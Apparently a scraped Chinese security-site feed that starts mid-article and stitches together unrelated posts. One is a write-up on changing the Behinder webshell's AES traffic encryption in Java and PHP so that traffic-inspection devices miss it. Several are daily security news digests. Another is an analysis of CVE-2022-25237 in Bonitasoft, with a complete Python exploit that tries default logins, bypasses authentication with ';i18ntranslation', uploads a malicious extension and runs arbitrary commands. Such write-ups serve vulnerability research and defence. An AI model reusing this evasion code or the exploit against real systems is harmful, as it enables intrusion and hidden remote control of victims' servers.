"算法/模式/补码方式"        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);        byte[] encrypted = cipher.doFinal(data);        Class baseCls;        try       {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});       }        catch (Throwable error)       {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});            result=result.replace("\n", "").replace("\r", "");            encrypted=result.getBytes();       }        return encrypted;   } 服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组 修改后本地: private byte[] Encrypt(byte[] data) throws Exception {    String key="e45e329feb5d925b";    byte[] raw = key.getBytes("utf-8");    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);    byte[] encrypted = cipher.doFinal(data);    Class baseCls;    try   {        baseCls=Class.forName("java.util.Base64");        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});   }    catch (Throwable error)   {        baseCls=Class.forName("sun.misc.BASE64Encoder");        Object Encoder=baseCls.newInstance();        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        result=result.replace("\n", "").replace("\r", "");        encrypted=result.getBytes();   }    //增加魔法尾巴    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;    java.util.Random random=new java.util.Random();    byte[] buf=new byte[magicNum];    for (int i=0;i<buf.length;i++)   {        buf[i]=(byte)random.nextInt(256);   }    java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();    output.write(encrypted);    output.write(buf);    return output.toByteArray(); } 远程 由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下: function Encrypt($data)   {   $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond   $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));   $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度   for($i=0;$i<$magicNum;$i++) {   $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴   }   return $encrypted;   } 解密算法 在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。 本地 private byte[] Decrypt(byte[] data) throws Exception {    String k="e45e329feb5d925b";    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));    byte[] decodebs;    Class baseCls ;            try{                baseCls=Class.forName("java.util.Base64");                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});           }            catch (Throwable e)           {                baseCls = Class.forName("sun.misc.BASE64Decoder");                Object Decoder=baseCls.newInstance();                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});           }    return c.doFinal(decodebs); } 远程 function Decrypt($data)   {   $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond   $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度   $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail   return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);   } 从理论上来说,这一种方式也可以绕过 xor_base64 的检测 0x05 小结 对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。 而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。
网络安全日报 2023年01月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、互联网上暴露的大多数 Cacti 未针对被利用的漏洞进行修补 https://www.securityweek.com/most-cacti-installations-unpatched-against-exploited-vulnerability 大多数暴露在 Internet 上的 Cacti 安装都没有针对在攻击中被利用的严重命令注入漏洞进行修补。Cacti 是一种基于 Web 的开源网络监控和绘图工具,提供操作监控和故障管理框架,是数据记录实用程序 RRDtool 的前端应用程序。2022 年 12 月初,该工具的维护人员发布了 CVE-2022-46169 的补丁,这是一个严重(CVSS 评分 9.8)命令注入漏洞,如果使用特定数据源,可 2、CWP面板漏洞的利用在 PoC 发布后开始出现 https://www.securityweek.com/exploitation-control-web-panel-vulnerability-starts-after-poc-publication 在 1 月初发布概念验证 (PoC) 代码后,安全研究人员正在观察针对关键控制 Web 面板 (CWP) 漏洞的利用尝试。CWP 的前身是 CentOS Web 面板,是一个流行的免费网络托管面板,适用于基于企业的 Linux 系统,为服务器和客户端的管理和安全提供支持。跟踪为 CVE-2022-44877(CVSS 评分为 9.8),利用该漏洞允许未经身份验证的攻击者在受影响的系统上实现 3、Juniper Networks在2023年第一轮安全公告发布了 200 多个漏洞的补丁 https://www.securityweek.com/juniper-networks-kicks-2023-patches-over-200-vulnerabilities Juniper Networks 发布的 2023 年第一轮安全公告涵盖了该网络巨头产品中已修复的数百个漏洞。该公司本周发布的 32 个 Juniper Networks 安全公告涵盖了 230 多个漏洞,其中大约 200 个影响第三方组件。三个公告的总体严重性评级为严重,它们都描述了影响第三方组件的漏洞。20 条公告的评级为“高严重性”,9 条公告的评级为“中等严重性”。 4、Fortinet 表示最近修补的漏洞被用来入侵政府网络 https://www.securityweek.com/fortinet-says-recently-patched-vulnerability-exploited-hack-governments Fortinet 本周报告称,最近修补的漏洞 CVE-2022-42475 已被用于针对政府组织的高度针对性攻击。该安全漏洞影响 FortiOS SSL-VPN,它可以允许未经身份验证的远程黑客使用特制请求执行任意代码或命令。该漏洞的存在于 2022 年 12 月 12 日被披露,当时 Fortinet 警告说它知道野外利用。该公司当时宣布了补丁和共享妥协指标 (IoC)。 5、数字情报公司 Cellebrite 被盗 1.7 TB 数据在线泄露 https://securityaffairs.com/140838/data-breach/cellebrite-software-leaked-online.html 以色列移动取证公司 https://securityaffairs.co/wordpress/69599/hacking/cellebrite-technology-unlock-iphone.html 是数字取证领域的全球领先公司之一,它与全球执法和情报机构合作。这家以色列公司 和另一家瑞典取证公司 MSAB 的数据已被 Enlace Hacktivist团体在线泄露。 6、法国 CNIL 以违反 cookie 同意规则对 Tiktok 罚款 540 万美元 https://securityaffairs.com/140786/digital-id/cnil-fined-tiktok.html 法国数据保护监管机构以违反 cookie 同意规则对短视频平台 TikTok 处以 500 万欧元的罚款。2022 年 12 月 29 日,CNIL 对社交网络 TIKTOK 处以总额 500 万欧元的制裁,原因有二:“tiktok.com”的用户无法像接受 cookie 那样轻易地拒绝 cookie,而且他们无法得到充分的通知不同 cookie 的用途。 7、三个流行的 WordPress 插件存在严重注入漏洞 https://www.bleepingcomputer.com/news/security/poc-exploits-released-for-critical-bugs-in-popular-wordpress-plugins 三个流行的 WordPress 插件有数以万计的活动安装,容易受到高严重性或严重 SQL 注入漏洞的攻击,PoC现已公开。第一个被发现易受 SQL 注入攻击的插件是“Paid Memberships Pro”,这是一个在超过 100,000 个网站中使用的会员和订阅管理工具。第二个易受 SQL 注入攻击的 WordPress 附加组件是“ Easy Digital 8、数据显示2022年四分之一的英国中小企业遭受勒索软件攻击 https://www.infosecurity-magazine.com/news/quarter-of-uk-smbs-hit-ransomware/ 根据Avast的最新数据,在过去的一年里,超过四分之一(26%)的英国中小企业成为勒索软件的目标,其中47%的受害者向勒索者支付了赎金。早在10月份,这家安全供应商就调查了来自英国中小企业的1000名IT决策者,以更好地了解过去12个月的风险状况。根据Avast的数据,被勒索软件攻击的人中有41%丢失了数据,34%失去了设备访问权限。 9、数据显示非法加密货币交易量创历史新高 https://www.infosecurity-magazine.com/news/illegal-crypto-transaction-volumes/ 区块链分析公司Chainalysis的数据显示,去年使用加密货币进行的非法交易价值超过200亿美元,创下历史新高,随着更多非法活动被发现,这一数字可能还会增长。该公司声称,去年通过区块链流动的非法资金比以往任何一年都多,2021年的数字为180亿美元。然而,这些资金中的大量(44%)与受制裁的实体有关,特别是俄罗斯加密货币交易所Garantex,该交易所于2022年4月受到美国财政部外国资产控制办公室(OFAC)的制裁。 10、社交市场Trustanduse暴露了约43.9万名用户的数据 https://securityaffairs.com/140678/data-breach/trustanduse-data-leak.html 近日一研究团队发现了一个可公开访问的数据库,该数据库存储了高达855GB的敏感用户和商业数据,属于社交市场Trustanduse.com。泄露的数据库于6月21日首次被发现,并且至少六个月内仍可能被攻击者访问。Trustanduse.com是一个供消费者评价产品、服务、专业人士和商店,以及获得优惠和折扣的平台。该公司成立于2016年,总部位于雅典。被发现的数据库包括用户名、个人全名、Facebook ID、电话号码和使用BCrypt算法散列的密码
网络安全日报 2023年01月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Twitter表示在最近的数据泄露中没有发现利用漏洞的证据 https://www.securityweek.com/twitter-finds-no-evidence-vulnerability-exploitation-recent-data-leaks Twitter 表示,它已经分析了最近公布的据称包含数亿用户信息的数据库,但没有发现任何漏洞被利用的证据。1 月初,有人在互联网泄露了一个数据库,其中包含大约2.35 亿 Twitter 用户的信息,包括姓名、用户名、电子邮件地址、关注者数量和帐户创建日期。分析公开数据的专家表示,这些数据很可能来自网络抓取。推特周三证实,这 2 亿条记录不是通过利用 2022 年 1 月修补的漏洞获得的,也不是 2、思科警告 EoL 小型企业路由器存在严重漏洞 https://www.securityweek.com/cisco-warns-critical-vulnerability-eol-small-business-routers 思科本周宣布不会针对影响小型企业 RV016、RV042、RV042G 和 RV082 路由器的严重漏洞发布补丁,这些路由器已达到生命周期结束 (EoL)。漏洞跟踪为CVE-2023-20025(CVSS 评分为 9.0),该安全缺陷会影响路由器的基于 Web 的管理界面,并可能被利用绕过身份验证。该问题的存在是因为传入 HTTP 数据包中的用户输入未得到正确验证,从而允许攻击者向路由器发送精心设计的 HTTP 3、华硕 RT-AX82U 路由器存在三个严重漏洞 https://www.securityweek.com/severe-vulnerabilities-allow-hacking-asus-gaming-router 思科的 Talos 安全研究人员发布了有关影响华硕 RT-AX82U 路由器的三个严重漏洞的技术信息。RT-AX82U 是一款 Wi-Fi 6 游戏路由器,可通过在本地网络上运行的 HTTP 服务器进行配置,还支持远程管理和监控。去年,思科的 Talos 研究人员发现了三个严重和高危的安全缺陷,可以利用这些缺陷绕过身份验证、泄露信息或导致易受攻击的 RT-AX82U 路由器出现拒绝服务 (DoS) 情况。这些漏洞中最严重的是 4、有黑客声称可以通过内部人员访问 Telegram 服务器 https://securityaffairs.com/140691/deep-web/telegram-access-dark-web.html 研究人员报告称,一名威胁行为者声称以 20,000 美元的价格提供对 Telegram 内部服务器的访问权限。SafetyDetectives 报道称,暗网市场的一名成员声称以 20,000 美元的价格提供对 Telegram 内部服务器的访问权限。卖方声称该访问权限是永久性的,因为它是由作为公司员工的内部人员提供的。 5、研究人员发现 100 多种西门子 PLC 型号容易受到固件接管的影响 https://thehackernews.com/2023/01/over-100-siemens-plc-models-found.html 安全研究人员披露了西门子 SIMATIC 和 SIPLUS S7-1500 可编程逻辑控制器 (PLC) 中的多个架构漏洞,恶意行为者可能会利用这些漏洞在受影响的设备上偷偷安装固件并控制它们。漏洞由Red Balloon Security发现,这些问题被跟踪为CVE-2022-38773(CVSS 评分:4.6),严重程度较低的前提是利用需要对设备进行物理篡改。该公司表示,这些缺陷“可能允许攻击者绕过所有受保护的启动功能,从而导致对操作代码和数据的 6、研究人员详述 Chromium 浏览器安全漏洞使机密数据面临风险 https://thehackernews.com/2023/01/experts-detail-chromium-browser.html 关于谷歌 Chrome 和基于 Chromium 的浏览器中现已修补的漏洞的详细信息已经出现,如果成功利用该漏洞,可能会窃取包含机密数据的文件。“问题源于浏览器在处理文件和目录时与符号链接交互的方式,”Imperva 研究员 Ron Masas说。“具体来说,浏览器没有正确检查符号链接是否指向一个不打算访问的位置,这允许窃取敏感文件。”谷歌将中等严重性问题 (CVE-2022-3656) 描述为文件系统中数据验证不足的情况,并在 2022 年 10 月 7、APT组织Dark Pink以亚太地区的政府和军方为目标 https://thehackernews.com/2023/01/dark-pink-apt-group-targets-governments.html 根据Group-IB的研究人员进行的最新研究,亚太地区的政府和军事组织正在成为以前未知的高级持续性威胁(APT)组织的目标。大部分攻击针对的是柬埔寨、印度尼西亚、马来西亚、菲律宾、越南和波黑的军事机构、政府部门和机构、宗教和非营利组织,据报道,有一次攻击是针对一家总部设在越南的欧洲机构,但没有成功。据估计,该黑客组织早在2021年中旬就开始了行动,仅在一年后,使用了一种从未见过的自定义工具包,旨在从受感染网络中窃取有价值的信息。 8、StrongPity黑客组织创建假视频聊天应用程序来监视用户 https://therecord.media/strongpity-hackers-created-fake-video-chat-app-to-spy-on-users/ 一项最新研究显示,StrongPity黑客组织已经创建了一个恶意的安卓视频聊天应用程序,可以记录用户的电话通话,收集短信,并从数十个移动应用程序中窃取数据。据网络安全公司ESET称,黑客通过一个假冒真实视频聊天服务Shagle的网站发布了这款恶意应用程序,该服务提供陌生人之间的加密通信。这款假应用基于经过修改的Telegram messenger开源代码,并重新打包了StrongPity的后门代码。StrongPity 9、多家丹麦银行因DDoS攻击而导致运营中断 https://www.infosecurity-magazine.com/news/danish-banks-hit-by-ddos-attack/ 本周,丹麦中央银行和包括Jyske Bank和Sydbank在内的七家私人银行遭到分布式拒绝服务(DDoS) 攻击,导致其运营中断。丹麦中央银行发言人表示,周二下午其网站运行正常。此次攻击还影响了IT金融行业解决方案开发商Bankdata,在Bankdata受到DDoS攻击后,上述私人银行的网站在周二被短暂限制。VMware首席网络安全策略师Rick McElroy表示:“最近针对丹麦央行和一家IT合作伙伴的DDoS攻击再次证明,金融服务业是 10、微软发布 2023 年 1 月份安全更新,总计修复 98 个漏洞 1月10日,微软发布2023年1月份的周二补丁,总计修复了98个漏洞。其中包括已被积极利用的Windows高级本地过程调用(ALPC)权限提升漏洞(CVE-2023-21674)。微软表示这是一个沙盒逃逸漏洞,黑客利用此漏洞可获得SYSTEM权限。此外,还修复了一个已公开披露的Windows SMB Witness Service提权漏洞(CVE-2023-21549)。 http://www.anquan419.com/knews/24/4183.html
网络安全日报 2023年01月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、红帽宣布全面推出针对RHEL系统的恶意软件检测服务 https://www.securityweek.com/red-hat-announces-general-availability-malware-detection-service Red Hat 周二宣布全面推出针对 Red Hat Enterprise Linux (RHEL) 系统的恶意软件检测服务。Insights 服务是与 IBM X-Force 合作创建的,它使用包含 180 多个与已知 Linux 恶意软件相关联的签名的数据库来扫描 RHEL 系统中的恶意软件。用户可以获得所有系统的汇总结果或单个系统扫描的结果。检测服务支持 RHEL 8 和 9 主机。扫描可以手动运行, 2、英国邮政服务遭网络攻击,暂无法向海外发送信件和包裹 https://www.securityweek.com/cyber-incident-hits-uk-postal-service-halts-overseas-mail 英国邮政表示,周三遭遇“网络事件”,暂时无法向其他国家发送信件或包裹。皇家邮政在其网站上报告说,国际出口服务“经历了严重的服务中断”,但没有提供更多细节。 3、白宫表示"目前"没有迹象表明FAA 服务中断与网络攻击有关 https://www.securityweek.com/no-evidence-cyberattack-related-faa-outage-white-house-says 美国东部时间 7 点 15 分左右,美国联邦航空局命令所有航空公司“暂停所有国内航班,直到东部时间上午 9 点,以便该机构验证航班和安全信息的完整性。”白宫表示,“目前”没有迹象表明网络攻击导致美国联邦航空局系统中断,导致周三停止所有国内航班。 4、谷歌发布 Chrome 109,修补17 个漏洞 https://www.securityweek.com/chrome-109-patches-17-vulnerabilities 谷歌周二宣布在稳定频道发布 Chrome 109,其中包含 17 个漏洞的补丁,其中包括外部研究人员报告的 14 个漏洞。大多数外部报告的安全缺陷都是中低严重性缺陷,其中只有两个被评为“高严重性”。 5、Gootkit Loader 活动针对澳大利亚医疗保健行业 https://securityaffairs.com/140655/malware/gootkit-loader-targets-australia.html 一波 Gootkit 恶意软件加载器攻击利用 VLC 媒体播放器等合法工具针对澳大利亚医疗保健行业。Gootkit也称为 Gootloader,众所周知,它采用搜索引擎优化 (SEO) 中毒策略(又名垃圾索引)进行初始访问。它通常通过破坏和滥用合法基础设施并使用常见关键字为这些网站播种来发挥作用。与其他同类恶意软件一样,Gootkit 能够从浏览器窃取数据、执行浏览器中的对手 (AitB) 攻击、键盘记录、截屏和其他恶意操作。 6、CISA 将Exchange漏洞CVE-2022-41080添加到已知利用漏洞目录中 https://securityaffairs.com/140647/security/cisa-known-exploited-vulnerabilities-catalog-cve-2022-41080.html 美国网络安全和基础设施安全局 (CISA) 在其 已知利用漏洞目录中添加了两个新漏洞。第一个漏洞是CVE-2022-41080,是 Microsoft Exchange 服务器特权升级漏洞。该问题可以与CVE-2022-41082 (ProxyNotShell) 联系起来实现远程代码执行。添加到已知利用漏洞目录的第二个漏洞是 Microsoft Windows 高级本地过程调用 7、超过 1,300 个假的 AnyDesk 站点分发 Vidar 信息窃取恶意软件 https://www.bleepingcomputer.com/news/security/over-1-300-fake-anydesk-sites-push-vidar-info-stealing-malware/ AnyDesk 是适用于 Windows、Linux 和 macOS 的流行远程桌面应用程序,全球有数百万人使用它来实现安全的远程连接或执行系统管理。由于该工具的流行,恶意软件分发活动经常滥用 AnyDesk 品牌。一场使用 1,300 多个域冒充 AnyDesk 官方网站的大规模恶意活动正在进行中,所有活动都重定向到最近推送 Vidar 信息窃取恶意软件的 Dropbox 8、美国最高法院批准 WhatsApp 起诉 NSO 集团 https://www.infosecurity-magazine.com/news/us-supreme-court-whatsapp-to-sue/ 美国最高法院周一批准 WhatsApp 对以色列监控公司 NSO Group 提起诉讼,指控其在大约 1400 台同时安装了 WhatsApp 的设备上安装了 Pegasus 间谍软件。 9、VS Code扩展市场易被滥用于托管恶意扩展程序 https://thehackernews.com/2023/01/hackers-distributing-malicious-visual.html 针对Visual Studio Code扩展市场的一种新的攻击方法可能被利用来上传伪装成合法扩展的恶意扩展程序,目的是发动供应链攻击。研究人员说称,这种技术可以作为攻击许多组织的切入点。VS Code扩展程序允许开发人员向VS Code源代码编辑器中添加编程语言、调试器和工具,以提高他们的工作效率。所有的扩展程序都具有打开VS Code的用户的权限,这意味着该扩展程序可以在您的计算机上安装任何程序,包括勒索软件、擦除器等。 10、Automated Libra组织利用云平台资源进行挖矿 https://www.infosecurity-magazine.com/news/purpleurchin-bypasses-captchas/ 被称为“Automated Libra”的南非黑客组织一直在改进他们的技术,以利用云平台资源进行加密货币挖掘。据称,该组织使用了一种新的验证码解决系统,同时更积极地使用CPU资源进行挖矿,并将“freejacking”与“Play and Run”技术相结合。从技术角度来看,freejacking通常被理解为使用免费或限时的云资源执行加密挖矿操作的过程。Automated Libra组织于2022年10月首次被Sysdig的分析师发现,他们将这
网络安全日报 2023年01月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二补丁日修复97 个漏洞,含1 个被利用的零日漏洞 https://www.securityweek.com/microsoft-patch-tuesday-97-windows-vulns-1-exploited-zero-day 2、Zoom 修补了 Windows、MacOS 平台上的高危漏洞 https://www.securityweek.com/zoom-patches-high-risk-flaws-windows-macos-platforms 3、GitHub 推出自动漏洞扫描功能 https://www.securityweek.com/github-introduces-automatic-vulnerability-scanning-feature 4、热门开源项目JsonWebToken存在严重远程代码执行漏洞 https://www.securityweek.com/vulnerability-popular-jsonwebtoken-open-source-project-leads-code-execution 5、Kinsing 恶意软件通过错误配置的 PostgreSQL 攻击 Kubernetes 环境 https://securityaffairs.com/140581/hacking/kinsing-malware-kubernetes-environments.html 6、StrongPity APT针对安卓用户分发带后门的 Telegram 应用 https://thehackernews.com/2023/01/strongpity-hackers-distribute.html 7、黑客利用假口袋妖怪NFT接管Windows设备 https://www.bleepingcomputer.com/news/security/hackers-push-fake-pokemon-nft-game-to-take-over-windows-devices/ 8、恶意PyPI软件包使用Cloudflare 隧道潜入防火墙 https://thehackernews.com/2023/01/malicious-pypi-packages-using.html 9、英特尔推出第四代至强处理器将 TDX 添加到机密计算产品组合中 https://www.securityweek.com/intel-adds-tdx-confidential-computing-portfolio-launch-4th-gen-xeon-processors 10、IcedID恶意软件活动针对Zoom用户 https://securityaffairs.com/140465/malware/icedid-targets-zoom-users.html
Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
一、漏洞原理 漏洞简述 Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序; Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。 Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。 通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。 漏洞影响范围 供应商:Bonitasoft 产品:Bonita Platform 确认受影响版本:< 2022.1-u0 修复版本:/ 社区版:< 2022.1-u0 (7.14.0) 订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7 漏洞分析 本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。 按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。 同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。 分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。 路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。 通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。 (checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述) 下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。 开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。 循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。 在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。 根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。 另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。 getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。 根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。 从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。 二、漏洞复现实战 环境搭建 docker镜像: https://hub.docker.com/_/bonita vulfocus: bonita镜像 漏洞复现 首先以超级管理员身份进入bonita,创建用户功能 创建普通用户 之后根据POC进行复现 POC: import requests import sys class exploit:    try:        session = requests.session()        bonita_user = sys.argv[1]        bonita_password = sys.argv[2]        target_path = sys.argv[3]        cmd = sys.argv[4]        tempPath = ""        extension_id = ""        bonita_default_user = "install"        bonita_default_password = "install"        platform_default_user = "platformAdmin"        platform_default_password = "platform"    except:        print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")        exit() def try_default_logins():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        return False        # This does not seem to work when authenticating as platformAdmin, maybe it can though.    #     req_url = f"{exploit.target_path}/platformloginservice"    #     req_cookies = {"x": "x"}    #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}    #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    #     if r.status_code == 200:    #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")    #         return True    else:        print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")        return True def login():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        print("[!] Could not get a valid session using those credentials.")        exit()    else:        print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}") def upload_api_extension():    req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"    files=[   ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))   ]    r = exploit.session.post(req_url, files=files)    exploit.tempPath = r.json()["tempPath"] def activate_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"    req_headers = {"Content-Type": "application/json;charset=UTF-8"}    req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}    r = exploit.session.post(req_url, headers=req_headers, json=req_json)    exploit.extension_id = r.json()["id"] def delete_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"    exploit.session.delete(req_url) def run_cmd():    req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"    r = exploit.session.get(req_url)    print(r.json()["out"]) if not try_default_logins():    print("[!] Did not find default creds, trying supplied credentials.")    login() upload_api_extension() activate_api_extension() try:    run_cmd() except:    delete_api_extension() delete_api_extension() 执行POC 漏洞修复 建议更新至2022.1-u0以上版本 结束语 本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。 根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。
网络安全日报 2023年01月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、FCC 为无线运营商提出更严格的数据泄露报告规则 https://www.securityweek.com/fcc-proposes-tighter-data-breach-reporting-rules-wireless-carriers 2、AWS 宣布为 S3 存储桶默认启用服务器端加密 https://www.securityweek.com/aws-enables-default-server-side-encryption-s3-objects 3、APT组织Cold River针对美国核研究实验室 https://securityaffairs.com/140555/hacking/cold-river-apt-targets-nuclear-research.html 4、研究揭示了允许数据窃取和 DoS 攻击的 Text-to-SQL 模型漏洞 https://thehackernews.com/2023/01/new-study-uncovers-text-to-sql-model.html 5、报告显示2022 年全球网络攻击量激增 38% https://www.infosecurity-magazine.com/news/global-cyberattack-volume-surges/ 6、Dridex银行木马的新变种以使用macOS的设备为目标 https://securityaffairs.com/140488/malware/dridex-banking-malware-macos.html 7、网络犯罪分子利用OpenAI的ChatGPT开发恶意软件和聊天机器人 https://www.hackread.com/hackers-openai-chatgpt-malware/ 8、黑客利用伪造的口袋妖怪NFT游戏控制受害者的设备 https://www.bleepingcomputer.com/news/security/hackers-push-fake-pokemon-nft-game-to-take-over-windows-devices/ 9、流行开发工具 CircleCI 曝出严重漏洞 https://www.secrss.com/articles/50792 10、印度尼西亚国防承包商 PT Pindad 遭数据泄露 